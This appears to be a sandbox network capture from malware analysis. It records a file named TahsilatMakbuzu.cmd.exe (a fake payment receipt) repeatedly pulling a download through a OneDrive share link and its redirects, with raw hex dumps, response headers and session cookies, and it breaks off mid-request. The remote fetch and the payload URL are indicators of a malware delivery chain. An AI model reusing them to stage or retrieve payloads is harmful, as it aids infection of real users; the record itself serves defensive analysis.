2024-07-04 18:18:09 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49849	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:10 UTC	1279	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODg4LCJuYmYiOjE3MjAxMTcwODgsImdpdmVuX25hbWUiOiIxMCIsImZhbWlseV9uYW1lIjoiV2hhbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJhNjMyYzA4ZjUyMjc0NDIxZWQ5YWQ4NzAwOTcxNjJkZSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDg4fQ.WzLF0bNkFXnqe_01T1CxwU5gQrnpUPcc3rejSUGRMiyRZN6awagWKB80lsaNh51OmGVyssjLJhGb1Yt-jkH0zQ09l-RBeqL3FU7S0XOrsQwpXvufWsyt2SV9HnDnrF2-SXHxzj9S9qMOMNLko0DrB3Vv65do6stVQj8E13-fkq7aeSfxqOvVHtzrecub9ehN9r4SWKsNCE_Mqj7Ul0ym6G83VYDMK_mgylmDEM9LZEQuVXwPB-cIk3bWvr3JoARybIUTFHnweg-lG78xmtXzqHCo7luMeoh73HGnJbskrDC76ZVJj7crpk9-rDoRt7Okkyzpy96UiOdF0VCaBDsWvQ; E=P:8RIyqFWc3Ig=:kTE1+5VSEMzsA6Wqguckv7wkNqG0MslPpR00czb9thA=:F; xid=49c89a51-6bfa-4db1-9d95-03a1c48b7b [TRUNCATED]
2024-07-04 18:18:10 UTC	1926	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,61,37963,0,154958,30 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 4b1239a1-7007-5000-b501-f445f3aca764 request-id: 4b1239a1-7007-5000-b501-f445f3aca764 MS-CV: oTkSSwdwAFC1AfRF86ynZA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 51 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1A2E9A3C408944BCA1D5B2E11756F575 Ref B: BN3EDGE0206 Ref C: 2024-07-04T18:18:10Z Date: Thu, 04 Jul 2024 18:18:10 GMT Connection: close
2024-07-04 18:18:10 UTC	2941	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 34 36 33 31 36 33 31 39 2c 2d 39 35 34 32 31 37 35 36 34 2c 31 39 35 31 39 36 34 38 34 2c 2d 33 35 33 37 36 34 30 38 39 2c 31 39 33 38 37 30 35 33 37 34 2c 31 36 30 37 36 36 36 31 35 30 2c 31 34 37 31 30 36 31 37 33 33 2c 31 33 33 31 32 32 30 30 32 33 2c 31 37 36 35 31 37 30 35 30 39 2c 2d 31 33 36 30 30 37 33 36 39 39 2c 2d 32 30 31 34 33 36 36 39 38 33 2c 2d 31 34 37 31 31 39 34 33 2c 31 39 33 36 34 34 35 34 33 36 2c 31 32 32 36 30 33 34 31 30 32 2c 31 38 30 35 38 34 39 31 39 31 2c 2d 35 30 35 33 32 39 36 38 2c 32 36 31 33 32 33 35 34 32 2c 31 35 32 32 34 34 34 34 38 30 2c 2d 31 39 34 39 32 30 32 31 31 35 2c 2d 37 38 38 30 32 34 34 32 34 2c 38 38 37 31 31 39 31 2c 31 38 39 39 31 37 31 39 33 37 2c 2d 31 37 35 39 37 35 38 39 38 34 2c 38 30 38 39 31 31 38 Data Ascii: 46316319,-954217564,195196484,-353764089,1938705374,1607666150,1471061733,1331220023,1765170509,-1360073699,-2014366983,-14711943,1936445436,1226034102,1805849191,-50532968,261323542,1522444480,-1949202115,-788024424,8871191,1899171937,-1759758984,8089118
2024-07-04 18:18:10 UTC	3443	IN	Data Raw: 33 33 38 45 44 41 22 3a 74 72 75 65 2c 22 34 30 36 39 38 43 30 34 2d 31 31 38 39 2d 34 45 30 38 2d 42 39 33 30 2d 46 39 39 37 44 45 36 35 32 42 38 37 22 3a 74 72 75 65 2c 22 33 41 37 31 36 37 30 39 2d 39 34 31 35 2d 34 32 34 39 2d 39 32 39 35 2d 36 39 32 30 36 43 44 38 39 37 43 45 22 3a 74 72 75 65 2c 22 31 44 33 32 34 34 39 38 2d 37 36 37 33 2d 34 34 44 43 2d 41 35 43 39 2d 30 39 43 39 39 44 44 33 30 33 41 30 22 3a 74 72 75 65 2c 22 30 35 42 37 35 32 41 36 2d 30 34 44 39 2d 34 45 44 36 2d 42 45 31 36 2d 43 34 38 44 35 34 36 38 43 30 34 31 22 3a 74 72 75 65 2c 22 34 30 35 31 42 42 37 43 2d 33 34 39 32 2d 30 39 36 32 2d 39 37 37 35 2d 42 45 46 42 32 30 42 42 45 36 46 31 22 3a 74 72 75 65 2c 22 45 35 36 38 32 46 37 39 2d 34 32 44 39 2d 34 45 33 33 2d 38 39 Data Ascii: 338EDA":true,"40698C04-1189-4E08-B930-F997DE652B87":true,"3A716709-9415-4249-9295-69206CD897CE":true,"1D324498-7673-44DC-A5C9-09C99DD303A0":true,"05B752A6-04D9-4ED6-BE16-C48D5468C041":true,"4051BB7C-3492-0962-9775-BEFB20BBE6F1":true,"E5682F79-42D9-4E33-89
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 65 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 Data Ascii: e,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 35 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 Data Ascii: 5ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tr
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 2d 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 Data Ascii: -4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF4
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 32 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 Data Ascii: 2A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 34 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 Data Ascii: 42955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 3a 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 Data Ascii: :true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F
2024-07-04 18:18:10 UTC	8192	IN	Data Raw: 41 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 Data Ascii: AA8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49850	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:11 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:11 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: PH2PPF08A1F0C61 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: yU8CMv8nAE6e7rN5CwuiEw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4CE4849A8C5F4884847633F2F18C0571 Ref B: EWR30EDGE1115 Ref C: 2024-07-04T18:18:11Z Date: Thu, 04 Jul 2024 18:18:11 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49851	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:12 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:13 UTC	2219	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:kXhTqlWc3Ig=:gwLO8twkpWshtFRNVc2YM0B2/4PcZF4tlNf/6aBEUlo=:F; domain=.live.com; path=/ Set-Cookie: xid=eaa721a7-6761-47d0-96c0-1afcc29c76ac&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:12 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODkyLCJuYmYiOjE3MjAxMTcwOTIsImdpdmVuX25hbWUiOiIyMiIsImZhbWlseV9uYW1lIjoiRWFnbGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlMWQ0NzhhMDQxNGIyY2I2OTNjMTM2OGNmYmZkMTNlNyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDkyfQ.Z70DoX9E07C0JLQOxVji5wkHB77Q-e9xgZGzc1d7TbfyF1IRMo7dLgv8TLOLXmWofr_tIABy01v9D3eJ7DtbfFytrl__nV-RqgrvitCve88-WEku1rbRstuuzjUIbdwXn53NrG_2s41obCO6Exe4S6efslKKxWexcRLq2NHby1J9LwOuhvdYRJ1LqZcJoKNcNcEtjKmPMARqvXfl2VDLySVF040OdmggLYZ1gn5PmRqfIKE2Oro9IBTV-DOCLZ2SkqlLTSHYgYBCBuvPt4fOtVY8niYybT2pr3dE9YAKyZgnHeDWogBYNa1jZoesIbjkFm0ihulVEY_DrFdZajiu0A; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:12 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-mvfdc X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 5C6AF0E1B80B452CB6D20ABA11C4EFC5 Ref B: BN3EDGE1120 Ref C: 2024-07-04T18:18:12Z Date: Thu, 04 Jul 2024 18:18:12 GMT Connection: close
2024-07-04 18:18:13 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49852	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:13 UTC	1279	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: 